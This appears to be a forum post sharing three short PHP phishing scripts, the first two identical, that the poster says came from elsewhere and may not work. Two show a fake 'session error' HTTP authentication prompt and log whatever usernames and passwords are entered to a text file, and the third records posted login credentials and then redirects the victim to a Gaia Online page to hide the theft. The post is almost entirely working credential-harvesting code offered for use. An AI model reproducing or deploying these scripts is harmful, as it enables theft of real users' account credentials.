I have these in my notepad so ill just put them here.
They are not mine! But you can rep me if you want
Some are flw or flps i didn't check them.

Code:
<?php
    if(isset($_SERVER['PHP_AUTH_USER'])){
        $Handle = @fopen('accounts.txt', 'a');
        
        @fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
        @fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");
        
        @fclose($Handle);
    }

    header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
    header('HTTP/1.0 401 Unauthorized');
    exit;
?>

Code:
<?php
    if(isset($_SERVER['PHP_AUTH_USER'])){
        $Handle = @fopen('accounts.txt', 'a');
        
        @fwrite($Handle, "Username = {$_SERVER['PHP_AUTH_USER']}\r\n");
        @fwrite($Handle, "Password = {$_SERVER['PHP_AUTH_PW']}\r\n\r\n");
        
        @fclose($Handle);
    }

    header('WWW-Authenticate: Basic realm="A session error has occured please verify your Username and Password."');
    header('HTTP/1.0 401 Unauthorized');
    exit;
?>
Code:
<?php
$username = $_POST['username'];
$password = $_POST['password'];
if(get_magic_quotes_gpc()) {
	$username = stripslashes($username);
	$password = stripslashes($password);
}
$log = "accounts.txt";
$logfile = fopen($log, "a");
fwrite($logfile,$username." | ".$password."\r\n");
fclose($logfile);

header ("Location:  http://www.gaiaonline.com/launch/towns");
?>